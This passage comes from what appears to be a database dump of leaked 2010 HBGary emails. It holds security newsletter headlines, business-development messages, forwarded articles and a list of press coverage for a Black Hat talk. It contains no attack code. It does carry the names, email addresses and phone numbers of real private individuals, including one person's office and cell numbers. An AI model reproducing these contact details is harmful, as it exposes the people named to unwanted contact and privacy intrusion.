Microsoft in third.\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305486/0/\r\n>> \r\n>> Mozilla patches 16 security bugs in Firefox 3.6\r\n>> \r\n>> Mozilla on Tuesday patched 16 vulnerabilities, nine of them critical, in\r\n>> Firefox\r\n>> 3.6, the largest update for the open-source browser since March.\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305487/0/\r\n>> \r\n>> Richi Jennings: Horrible Safari privacy bug: take action now\r\n>> \r\n>> If you use the Safari web browser, listen up. Your browser may be\r\n>> leaking your\r\n>> private information to any website you visit. Let\'s take a look, in The\r\n>> Long\r\n>> View\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305488/0/\r\n>> \r\n>> Microsoft warns of Windows shortcut drive-by attacks\r\n>> \r\n>> Hackers could exploit the unpatched Windows shortcut vulnerability using\r\n>> drive-by download attacks that trigger an infection when people simply\r\n>> surf to a\r\n>> malicious Web site, Microsoft said.\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305489/0/\r\n>> \r\n>> ~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n>> \r\n>> Comprehensive Enterprise Security\r\n>> \r\n>> Learn how combining Brocade\'s high-performance infrastructure and\r\n>> McAfee\'s Web\r\n>> gateway solution ensures that organizations have the secure and trusted\r\n>> environments they demand.\r\n>> \r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305496/0/?3e076d18\r\n>> =c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=bf608276\r\n>> \r\n>> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n>> \r\n>> New \'Kraken\' GSM-cracking software is released\r\n>> \r\n>> The (Global System for Mobile Communications) technology used by the\r\n>> majority of\r\n>> the world\'s mobile phones will get some scrutiny at next week\'s Black\r\n>> Hat\r\n>> security conference, and what the security researchers there have to say\r\n>> isn\'t\r\n>> pretty.\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305490/0/\r\n>> \r\n>> Corporate ID theft hits Georgia businesses\r\n>> \r\n>> Just days after Colorado officials warned businesses about scammers who\r\n>> are\r\n>> forging corporate identities to commit financial fraud, an official in\r\n>> Georgia\r\n>> said the same has been happening in that state as well.\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305491/0/\r\n>> \r\n>> First true SCADA-specific malware detected\r\n>> \r\n>> SCADA systems have been identified as a potential vulnerability since\r\n>> Y2K. Now,\r\n>> for the first and not last time, a SCADA-specific piece of malware\r\n>> (W32.Stuxnet)\r\n>> has been detected. This is a cause for concern and a call to action.\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305492/0/\r\n>> \r\n>> Microsoft releases beta of upgraded Security Essentials\r\n>> \r\n>> Microsoft has released a beta for the next version of its free security\r\n>> software, Security Essentials, according to a blog post.\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305493/0/\r\n>> \r\n>> Design that ensures security, also emphasizes style\r\n>> \r\n>> Can security, often seen as obvious and ugly, actually be stylish and\r\n>> suitable\r\n>> for a building? Architect Rick Reeder gives us a tour of a property he\r\n>> designed\r\n>> with artful security as the goal\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305494/0/\r\n>> \r\n>> \r\n>> ===============================================================\r\n>> \r\n>> SHARK TANK\r\n>> ___________\r\n>> \r\n>> Bad bosses, useless users, clueless consultants, lyrical limericks --\r\n>> it\'s all\r\n>> in a day\'s tank for Sharky. Join him and his pilot fish for a daily dose\r\n>> of IT\r\n>> from the trenches.\r\n>> \r\n>> Submit your true IT tale, and if Sharky takes a bite, he\'ll send you a\r\n>> sharp\r\n>> Shark shirt!\r\n>> \r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/256230/0/\r\n>> \r\n>> NEW COMPUTERWORLD JOB BOARD\r\n>> ______________________________\r\n>> \r\n>> Search multiple listings now and get new job alerts as they are posted.\r\n>> \r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/156832/0/\r\n>> \r\n>> \r\n>> Do You Tweet?\r\n>> \r\n>> Follow everything from Computerworld.com on Twitter @computerworld\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/126780/0/\r\n>> \r\n>> ===============================================================\r\n>> \r\n>> CONTACTS/SUBSCRIPTIONS\r\n>> \r\n>> You are currently subscribed to computerworld_security as:\r\n>> steven.winterfeld@ngc.com.\r\n>> \r\n>> To unsubscribe from this newsletter, go to:\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/131135/0/?90482085\r\n>> =aHR0cDovL2N3Zmx5cmlzLmNvbXB1dGVyd29ybGQuY29tL3U%2faWQ9NjIzNDY2MzAxLjIwN\r\n>> TI0MTQ4NzFhMDQzMmIzNDI4M2FlYzUxMTJhM2M1Jm49VCZsPWNvbXB1dGVyd29ybGRfc2Vjd\r\n>> XJpdHkmbz02NjAwMTQ3&x=1f1e8bef\r\n>> \r\n>> To manage your subscription preferences, go to: \r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/72510/0/\r\n>> \r\n>> To subscribe to a newsletter, go to:\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/72511/0/\r\n>> \r\n>> Computerworld\'s online privacy policy is at:\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/72509/0/\r\n>> \r\n>> If you are interested in advertising in this newsletter, please contact:\r\n>> bglynn@cxo.com\r\n>> \r\n>> To contact Computerworld, please send an e-mail to\r\n>> online@computerworld.com.\r\n>> \r\n>> Copyright (C) 2010 Computerworld, 492 Old Connecticut Path, Framingham\r\n>> MA 01701\r\n>> \r\n>> ** Please do not reply to this message. If you want to contact someone\r\n>> directly, \r\n>> send an e-mail to online@computerworld.com **\r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',9160,'aaron_hbgary_com/9160.html'),(9124,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007022.M661761P14101Q3979.eml','\"David Etue\" <david@etue.net>','So?','How did it go?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',12560,'aaron_hbgary_com/12560.html'),(9125,'2010-07-23','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297007022.M864829P14101Q3980.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: So?','  Seemed good.  We weren\'t buddy-buddy, but seemed a good conversation.  \r\nI think Kathy wants me for a different job than CyberMas, around leading \r\nthe translation of stuff between the different communities (northrop \r\ninternal security, intel, DoD, civilian, critical infrastructure.)\r\n\r\nI actually like Bill Landis, though he\'s clearly not a cyber guy.\r\n\r\nWhat I heard through the grapevine is they are down to me and some \r\nGeneral (sounded like Custer) for the job.  Still not sure if I want it...\r\n\r\nI\'ll give you a buzz to give you all of the details...\r\n\r\nDavid\r\n\r\nOn 7/23/2010 7:19 PM, Aaron Barr wrote:\r\n> How did it go?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n',16789,'aaron_hbgary_com/16789.html'),(9126,'2010-07-24','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007023.M384252P14101Q3982.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,aaron@hbgary.com','Fwd: Mantech is currently in active acquisition mode','\r\n---------- Forwarded message ----------From: Shawn Bracken &lt;shawn@hbgary.com&gt;Date: Sat, Jul 24, 2010 at 3:26 AM\r\nSubject: Mantech is currently in active acquisition modeTo: Greg Hoglund &lt;greg@hbgary.com&gt;From a recent end of Q1 press release of Mantechs:  \r\n\r\nhttp://investor.mantech.com/phoenix.zhtml?c=130660&amp;p=irol-newsArticle&amp;ID=1419396&amp;highlight=\r\n\r\n\r\nLooks like they&#39;ve got a total budget of about $200 million for acquistions:\r\n\r\n****\r\n\r\n&quot;In the first quarter of fiscal year 2010, we continued to accelerate revenue growth and strengthened our positioning in our key growth markets,&quot; said George J. Pedersen, ManTech Chairman and Chief Executive Officer. &quot;With a foundation of strong organic growth and cash flow, we also enhanced our flexibility to pursue strategic acquisitions that will add to shareholder value by completing a $200 million debt offering. Our management team and employees are building the best company in the industry to serve our government customers around the world supporting missions vital to national interest and security.&quot;\r\n\r\n\r\n***\r\n\r\nand\r\n****As of March 31, 2010, the company had $6 million in cash and cash equivalents and $108 million in debt. After the close of the quarter, the Company completed a private offering of $200 million in aggregate principal amount of Senior Notes. ManTech intends to use the approximately $196.0 million in net cash proceeds from this offering for general corporate purposes and to support future growth through acquisitions.  \r\n\r\n***\r\n\r\nInteresting stuff ...\r\n-SB\r\n',4162,'aaron_hbgary_com/4162.html'),(9127,'2010-07-24','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297007023.M621644P14101Q3983.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: IQT','Tks, Aaron. Let me talk to the IQT guys and get back to you. Re my former group, happy to talk. Do you know any folks in the front office there?  Sue G is the deputy. Happy to try and get you on her calendar. \r\n\r\nShouldn\'t you be on vacation?\r\n\r\nJeff\r\nVP, Director Washington Operations\r\n\r\nPhaseOne Communications\r\n\r\nemail:  jeffcastelli@phaseone.net\r\n\r\nOffice:  571-830-6816\r\n\r\n                571-830-6817\r\n\r\nFax:        571-830-6819\r\n\r\nCell:       310 612 6413\r\n\r\n \r\n\r\nThis email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Jeff Castelli\r\nSent: Thu Jul 22 14:15:42 2010\nSubject: Re: IQT\r\n\r\nAnytime.  Our companies have a lot in common in certain areas.\r\n\r\nI know HBGary Inc has spoken to them re: some of their malware capabilities.  I don\'t believe Rey have any idea of the capabilities or initiatives of HBGary Fed.  I would like to bring them up to speed.  What do you suggest is the best approach?\r\n\r\nMight be worthwhile brainstorming a bit at some point re: capabilities and platforms that could enable the group you ran.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 22, 2010, at 2:47 PM, Jeff Castelli  wrote:\r\n\r\n\r\n\r\n	Aaron, thanks for your time yesterday and I’m sorry not to get back to you sooner.  Hope you’re enjoying St. Louis and taking in a couple of Cards games – they certainly are on a roll!\r\n\r\n	 \r\n\r\n	I corresponded with Chris Darby, CEO of IQT, re HB Gary, and he has advised me you are already on their scope and ‘in their pipeline’.  No intro needed!  Mark McGovern is the practice lead there.  If you haven’t heard from him of late, you might send him a tickler to see what’s up.  If you’re getting no reply, just let me know and I’ll rattle their cage.\r\n\r\n	 \r\n\r\n	FYI, I found out today that the ‘bake off’ I mentioned to you will have to wait until FY11 (and FY11 money, so let’s hope against the odds that there won’t be a continuing resolution…….).  We will definitely keep in touch as that date gets nearer.  Take care,\r\n\r\n	 \r\n\r\n	Jeff\r\n\r\n	 \r\n\r\n	 \r\n\r\n	VP, Director Washington Operations\r\n\r\n	PhaseOne Communications\r\n\r\n	 \r\n\r\n	email:  jeffcastelli@phaseone.net  \r\n\r\n	Office:     571-830-6816\r\n\r\n	Fax:        571-830-6819\r\n\r\n	Cell:       310 612 6413\r\n\r\n	 \r\n\r\n	This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n\r\n	 \r\n\r\n	 \r\n\r\n',11799,'aaron_hbgary_com/11799.html'),(9128,'2010-07-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007023.M869220P14101Q3984.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Karen Burke\" <karenmaryburke@gmail.com>','We should leverage this','He is talking about us even if he doesn\'t know it.\r\n\r\nhttp://go.theregister.com/feed/www.theregister.co.uk/2010/07/23/digital_finger_pointing/\r\n\r\n\r\nSent from my iPhone',11270,'aaron_hbgary_com/11270.html'),(9129,'2010-07-24','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007023.M98191P14101Q3981.eml','\"Barr Aaron\" <aaron@hbgary.com>','Check out SignMyPad','\r\n\r\n\r\nCheck out this application on the App Store:\r\n\r\n  \r\n    \r\n      \r\n        \r\n      \r\n    \r\n    \r\n      \r\n      SignMyPad\r\n      Autriv Inc.\r\n      \r\n        Category: Business\r\n      \r\n      \r\n      \r\n        Updated: Jul 23, 2010\r\n      \r\n      \r\n      \r\n      \r\n        \r\n          \r\n          \r\n          \r\n          \r\n          \r\n        \r\n         29 Ratings\r\n      \r\n      \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      iTunes for Mac and Windows\r\n  \r\n  \r\n    \r\n      Please note that you have not been added to any email lists.\r\n        Copyright © 2010 Apple Inc.\r\n	      All rights reserved\r\n      \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n',3904,'aaron_hbgary_com/3904.html'),(9130,'2010-07-25','\"Herchig, John W.  CTN1 (C7F)\" <john.herchig@c7f.navy.mil>','/aaron@hbgary.com/new/1297007024.M120151P14101Q3985.eml','aaron@hbgary.com','presentation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSir, \r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI was in attendance at the recent R/B Team Symposium and really enjoyed your\r\npresentation on social networking. &nbsp;I thought it would be on the in the\r\nIAD library to view again but as they recently updated the presentations I saw\r\nthat it was not. &nbsp;Is there any way to be able to view it again? &nbsp;I\r\ntold my boss about the presentation and was hoping to show it to him. &nbsp;Thank\r\nyou for your time, \r\n\r\n&nbsp;\r\n\r\nVery Respectfully, \r\n\r\n&nbsp;\r\n\r\nCTN1 Herchig, John\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15182,'aaron_hbgary_com/15182.html'),(9131,'2010-07-25','aaron@hbgary.com','/aaron@hbgary.com/new/1297007024.M481712P14101Q3986.eml','\"Aaron Barr\" <adbarr@mac.com>','Facebook Wants to Own All Your Social Graphs, Not Just One','Facebook Wants to Own All Your Social Graphs, Not Just One\r\n\r\nUpdated: Facebook has popularized the use of the term “social graph” as a way  of describing all the various social connections you have to people in  your life, both online and in the real world. But Chris Dixon,  co-founder of Hunch.com and an angel investor in a number of web  startups, says in a blog post published today that there is more than just one kind of social graph — in fact, he argues that there are actually about half a dozen  different kinds, including graphs related to location and  recommendations. Whether he is right or not, one thing seems pretty  clear: Facebook not only wants to own them all, but is well on its way  to doing so.\r\n\r\nDixon starts off with a little math, by noting that the term “graph”  refers to a “set of nodes connected by edges.” The biggest online graph  of all, he says, is the web itself, where individual webpages are nodes  and the hyperlinks between them are the edges. In social graphs, “the  nodes are people and the edges friendship,” or the relationships between  those people. Dixon also describes how Facebook’s graph is symmetrical  (meaning both sides of a connection must agree) and how Twitter’s is  non-symmetrical (since you can follow anyone regardless of whether they  follow you back).\r\n\r\nThen comes what you might call a taxonomy of graphs, which Dixon says include:\r\n\r\n\r\n    Taste: This is the kind of graph that Hunch is trying to  create, by looking at questions that users have answered about a variety  of topics (the company also has a demo that reveals what it knows about you based on your tweets). GetGlue and other services are also explicitly going after this graph.\r\n\r\n\r\n\r\n    Financial Trust: Payment services such as Venmo and even Blippy (which lets you share your purchasing habits)  are interested in this graph, which relates to financial connections  between people and companies. PayPal and other payment companies are  also obviously focused on this graph.\r\n\r\n\r\n\r\n    Endorsement: Dixon says that this graph involves people  recommending things — or other people — and uses the example of  LinkedIn, which is trying to create an endorsement graph for people who  are looking for work. Facebook is also going after one aspect of this  kind of graph with its “like” button plugins.\r\n\r\n\r\n\r\n    Local: Companies and services such as Foursquare, Gowalla  and Loopt are obviously targeting this graph, which creates  relationships between people and other people — as well as people and  services — based on their physical location. As Dixon notes, this graph  is highly appealing to advertisers.\r\n\r\n\r\n\r\n\r\nWhich brings me to the next thought that Dixon’s post triggered: namely, that Facebook has a massive head start on owning virtually every one of these sub-graphs, with the possible exception of the “financial trust” graph — and with Facebook Credits rolling out, it’s likely the giant social network will get its hooks into that one soon as well. Certainly recommendation-based graphs powered by the “likes” of 500 million users could be fairly powerful. And when it comes to local, Facebook appears to be working on features in that area as well, although it’s not clear what form they will take.\r\n\r\nOne other thing that struck me as I looked at the different categories of graph is that Google is virtually absent from this picture. It is a giant web entity with a multi-billion-dollar market cap, and hundreds of millions of people use and rely on it every day, but apart from flawed experiments such as Buzz and Wave, it has no place in those relationship graphs — which might explain reports of ongoing internal pressure at the web giant to come up with something like Google Me.\r\n\r\nUpdate: As Mahendra Palsule (@ScepticGeek) has pointed out on Twitter in a response to this post, Google does have a number of social graph elements in its arsenal, including the Social Graph API, which is similar to Facebook’s open graph protocol. Google scans for relationships between users and pages that use standards such as XFN and FOAF, and connects those with Google Profiles, and then uses that information in its social search results. But I don’t think there’s any question that Google’s efforts have been substantially less successful than Facebook’s in terms of mass adoption.\r\n\r\nRelated content from GigaOM Pro (sub req’d): Why Google Should Fear the Social Web \r\n\r\nPost and thumbnail photos courtesy of Flickr user Luc Legay\r\n\r\n	\r\n		\r\n	\r\n\r\n    \r\nSent from my iPad',8280,'aaron_hbgary_com/8280.html'),(9132,'2010-07-25','aaron@hbgary.com','/aaron@hbgary.com/new/1297007024.M700257P14101Q3987.eml','\"Aaron Barr\" <adbarr@mac.com>','Location Technology Acquisitions: Has the Buying Spree Peaked?','Location Technology Acquisitions: Has the Buying Spree Peaked?Data from The Location Technology M&amp;A Project, design by Infographic World.\r\n\r\nRelated research from GigaOM Pro (sub req’d):\r\n\r\n\r\nLocation: The Epicenter of Mobile Innovation\r\n\r\n	\r\n		\r\n	\r\n\r\n    \r\nSent from my iPad',14736,'aaron_hbgary_com/14736.html'),(9133,'2010-07-25','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297007024.M902301P14101Q3988.eml','\"penny\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"penny\" <penny@hbgary.com>','Re: Black Hat Talk Coverage To Date',' FYI Black Hat just posted all the coverage it is getting via Facebook. If you look at the coverage, most of it has to do with Greg&#39;s talk https://www.blackhat.com/html/bh-us-10/bh-us-10-press.html\r\n\r\n \r\nhttp://seclists.org/isn/2010/Jul/66\r\n \r\nhttp://djtechnocrat.blogspot.com/2010/06/researcher-fingerprints-bad-guys-behind.html\r\n\r\nOn Wed, Jul 21, 2010 at 1:59 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\nThis is just to give you an idea of breadth of coverage to date. Greg, please let me know what works for VentureBeat for Friday. Lots of Chinese coverage too; I didn&#39;t cover here.\r\n \r\nDark Reading\r\nResearcher &#39;Fingerprints&#39; the Bad Guys Behind The Malware\r\nhttp://www.darkreading.com/database_security/security/intrusion-prevention/showArticle.jhtml?articleID=225700716&amp;queryText=hbgary\r\n\r\n \r\neWeek\r\nTracking Malware Authors Digital Fingerprints\r\nhttp://mobile.eweek.com/18991/show/020d4d3beceec7e7c53bffd70e86043f&amp;t=d5872d7ee6420a41c6e1f85c3dce9a1b\r\n\r\n \r\n \r\nNetwork World*\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.networkworld.com/news/2010/071910-black-hat-fingerprint.html\r\n \r\n \r\nHelpNet Security\r\nHacker Fingerprints -- The Future of Malware Detection?\r\nhttp://www.net-security.org/malware_news.php?id=1406\r\n \r\nBLog: What I am seeing at BlackHat by Jon Larimer\r\nhttp://blogs.iss.net/archive/jlbh2010.html\r\n \r\nThreatpost\r\nResearcher To Release Hacker Footprint\r\nhttp://threatpost.com/en_us/category/article-tags/hbgary\r\n \r\nTechWorld\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.techworld.com.au/article/353679/black_hat_talk_reveal_analysis_hacker_fingerprints\r\n\r\n \r\nChannelInsider \r\nTracing Digital Fingerprints in Malware\r\nhttp://www.channelinsider.com/c/a/Security/Tracing-Digital-Fingerprints-in-Malware/\r\n \r\nCIOInsight\r\nDigital Fingerprints Track Malware Authors\r\nhttp://www.cioinsight.com/c/a/Security/Digital-Fingerprints-Track-Malware-Authors/\r\n \r\nBaselineMag\r\nNew Tool Tracks Malware Authors Digital Fingerprints\r\nhttp://www.baselinemag.com/c/a/Security/New-Tool-Tracks-Malware-Authors-Digital-Fingerprints/\r\n\r\n \r\nWindows7Forum\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://windows7forums.com/security-zone/46165-black-hat-talk-reveal-analysis-hacker-fingerprints.html\r\n\r\n \r\nHackerJournals\r\nBlackHat Speaker Looks At Hacker Fingerprint Analysis \r\nhttp://www.hackerjournals.com/?p=11455\r\n \r\nCNET\r\nResearcher Fingerprints Bad Guys Behind the Malware\r\nhttp://forums.cnet.com/5208-6132_102-0.html?threadID=398763\r\n \r\nCIO\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.cio.de/news/cio_worldnews/2240846/index.html\r\n \r\neWeek Europe\r\nDigital Fingerprints Can Expose Malware Developers\r\nhttp://www.silobreaker.com/digital-fingerprints-can-expose-malware-developers-5_2263532724813824078\r\n\r\n \r\nHackInTheBox\r\nhttp://hackinthebox.org/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=37108&amp;mode=thread&amp;order=0&amp;thold=0 \r\n\r\n \r\nWayBeta\r\nhttp://www.waybeta.com/news/27742/malicious-program-has-quotfingerprintquot-or-uncovered-_-behind-the-scenes-of-system-security/\r\n\r\n \r\nICTMag.com\r\n\r\nTracking Malware Authors Digital Fingerprints\r\nhttp://www.ictmag.info/tag/ceo-greg-hoglund/\r\n \r\nBlog:DescentIntoDarkness\r\nhttp://descentintodarkness.wordpress.com/2010/06/23/\r\n \r\nVRYTek Hosting News\r\nhttp://www.vrytek.com/researcher-fingerprints-the-bad-guys-behind-the-malware/\r\n \r\n \r\nAntispyware News\r\nhttp://antispywarenews.info/blogs/exe-antivirus/307852/help-line-it-s-suspicious-not/\r\n \r\nEnterpriseTechBrief\r\nhttp://www.enterprisetechbrief.com/c/a/Security/Tracking-Malware-Authors-Digital-Fingerprints-/\r\n\r\n \r\nBlog\r\nhttp://acherelarisshei.blogspot.com/2010_06_01_archive.html\r\n',7564,'aaron_hbgary_com/7564.html'),(9134,'2010-07-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007025.M117578P14101Q3989.eml','\"Karen Burke\" <karenmaryburke@gmail.com>,\"Karen Burke\" <karenmaryburke@gmail.com>,','Re: Black Hat Talk Coverage To Date','Wow. &nbsp;The only other two were the social networking experiment. &nbsp;Impressive.Sent from my iPhoneOn Jul 25, 2010, at 3:53 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:&nbsp;FYI Black Hat just posted all the coverage it is getting via Facebook. If you look at the coverage, most of it has to do with Greg\'s talk https://www.blackhat.com/html/bh-us-10/bh-us-10-press.html\r\n\r\n&nbsp;\r\nhttp://seclists.org/isn/2010/Jul/66\r\n&nbsp;\r\nhttp://djtechnocrat.blogspot.com/2010/06/researcher-fingerprints-bad-guys-behind.html\r\n\r\nOn Wed, Jul 21, 2010 at 1:59 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\nThis is just to give you an idea of breadth of coverage to date. Greg, please let me know what works for VentureBeat for Friday. Lots of Chinese coverage too; I didn\'t cover here.\r\n&nbsp;\r\nDark Reading\r\nResearcher \'Fingerprints\' the Bad Guys Behind The Malware\r\nhttp://www.darkreading.com/database_security/security/intrusion-prevention/showArticle.jhtml?articleID=225700716&amp;queryText=hbgary\r\n\r\n&nbsp;\r\neWeek\r\nTracking Malware Authors Digital Fingerprints\r\nhttp://mobile.eweek.com/18991/show/020d4d3beceec7e7c53bffd70e86043f&amp;t=d5872d7ee6420a41c6e1f85c3dce9a1b\r\n\r\n&nbsp;\r\n&nbsp;\r\nNetwork World*\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.networkworld.com/news/2010/071910-black-hat-fingerprint.html\r\n&nbsp;\r\n&nbsp;\r\nHelpNet Security\r\nHacker Fingerprints -- The Future of Malware Detection?\r\nhttp://www.net-security.org/malware_news.php?id=1406\r\n&nbsp;\r\nBLog: What I am seeing at BlackHat by Jon Larimer\r\nhttp://blogs.iss.net/archive/jlbh2010.html\r\n&nbsp;\r\nThreatpost\r\nResearcher To Release Hacker Footprint\r\nhttp://threatpost.com/en_us/category/article-tags/hbgary\r\n&nbsp;\r\nTechWorld\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.techworld.com.au/article/353679/black_hat_talk_reveal_analysis_hacker_fingerprints\r\n\r\n&nbsp;\r\nChannelInsider \r\nTracing Digital Fingerprints in Malware\r\nhttp://www.channelinsider.com/c/a/Security/Tracing-Digital-Fingerprints-in-Malware/\r\n&nbsp;\r\nCIOInsight\r\nDigital Fingerprints Track Malware Authors\r\nhttp://www.cioinsight.com/c/a/Security/Digital-Fingerprints-Track-Malware-Authors/\r\n&nbsp;\r\nBaselineMag\r\nNew Tool Tracks Malware Authors Digital Fingerprints\r\nhttp://www.baselinemag.com/c/a/Security/New-Tool-Tracks-Malware-Authors-Digital-Fingerprints/\r\n\r\n&nbsp;\r\nWindows7Forum\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://windows7forums.com/security-zone/46165-black-hat-talk-reveal-analysis-hacker-fingerprints.html\r\n\r\n&nbsp;\r\nHackerJournals\r\nBlackHat Speaker Looks At Hacker Fingerprint Analysis&nbsp;\r\nhttp://www.hackerjournals.com/?p=11455\r\n&nbsp;\r\nCNET\r\nResearcher Fingerprints Bad Guys Behind the Malware\r\nhttp://forums.cnet.com/5208-6132_102-0.html?threadID=398763\r\n&nbsp;\r\nCIO\r\nBlack Hat Talk To Reveal Analysis of Hacker Fingerprints\r\nhttp://www.cio.de/news/cio_worldnews/2240846/index.html\r\n&nbsp;\r\neWeek Europe\r\nDigital Fingerprints Can Expose Malware Developers\r\nhttp://www.silobreaker.com/digital-fingerprints-can-expose-malware-developers-5_2263532724813824078\r\n\r\n&nbsp;\r\nHackInTheBox\r\nhttp://hackinthebox.org/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=37108&amp;mode=thread&amp;order=0&amp;thold=0&nbsp;\r\n\r\n&nbsp;\r\nWayBeta\r\nhttp://www.waybeta.com/news/27742/malicious-program-has-quotfingerprintquot-or-uncovered-_-behind-the-scenes-of-system-security/\r\n\r\n&nbsp;\r\nICTMag.com\r\n\r\nTracking Malware Authors Digital Fingerprints\r\nhttp://www.ictmag.info/tag/ceo-greg-hoglund/\r\n&nbsp;\r\nBlog:DescentIntoDarkness\r\nhttp://descentintodarkness.wordpress.com/2010/06/23/\r\n&nbsp;\r\nVRYTek Hosting News\r\nhttp://www.vrytek.com/researcher-fingerprints-the-bad-guys-behind-the-malware/\r\n&nbsp;\r\n&nbsp;\r\nAntispyware News\r\nhttp://antispywarenews.info/blogs/exe-antivirus/307852/help-line-it-s-suspicious-not/\r\n&nbsp;\r\nEnterpriseTechBrief\r\nhttp://www.enterprisetechbrief.com/c/a/Security/Tracking-Malware-Authors-Digital-Fingerprints-/\r\n\r\n&nbsp;\r\nBlog\r\nhttp://acherelarisshei.blogspot.com/2010_06_01_archive.html\r\n',2412,'aaron_hbgary_com/2412.html'),(9135,'2010-07-25','aaron@hbgary.com','/aaron@hbgary.com/new/1297007043.M796782P14101Q3990.eml','john.herchig@c7f.navy.mil','Social media presentation','John,\r\n\r\nHere you go.  Let me know if there is anything else we can provide.  We just started offering an executive and 1 day training course on social media to help organizations better understand effective use and risks for information exposure.\r\n\r\nAaron \r\n\r\n',14583,'aaron_hbgary_com/14583.html'),(9136,'2010-07-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007051.M483062P14101Q3991.eml','\"Karen Burke\" <karenmaryburke@gmail.com>,\"Karen Burke\" <karenmaryburke@gmail.com>,','Re: Black Hat Talk Coverage To Date','Well, that&#39;s because Karen Rocks.  \r\n \r\n-Greg\r\nOn Sun, Jul 25, 2010 at 1:53 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\n FYI Black Hat just posted all the coverage it is getting via Facebook. If you look at the coverage, most of it has to do with Greg&#39;s talk https://www.blackhat.com/html/bh-us-10/bh-us-10-press.html\r\n\r\n \r\nhttp://seclists.org/isn/2010/Jul/66\r\n \r\nhttp://djtechnocrat.blogspot.com/2010/06/researcher-fingerprints-bad-guys-behind.html\r\n\r\n\r\n\r\n\r\nOn Wed, Jul 21, 2010 at 1:59 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\nThis is just to give you an idea of breadth of coverage to date. Greg, please let me know what works for VentureBeat for Friday. Lots of Chinese coverage too; I didn&#39;t cover here.\r\n \r\nDark Reading\r\nResearcher &#39;Fingerprints&#39; the Bad Guys Behind The Malware\r\nhttp://www.darkreading.com/database_security/security/intrusion-prevention/showArticle.jhtml?articleID=225700716&amp;queryText=hbgary\r\n\r\n \r\neWeek\r\nTracking Malware Authors Digital 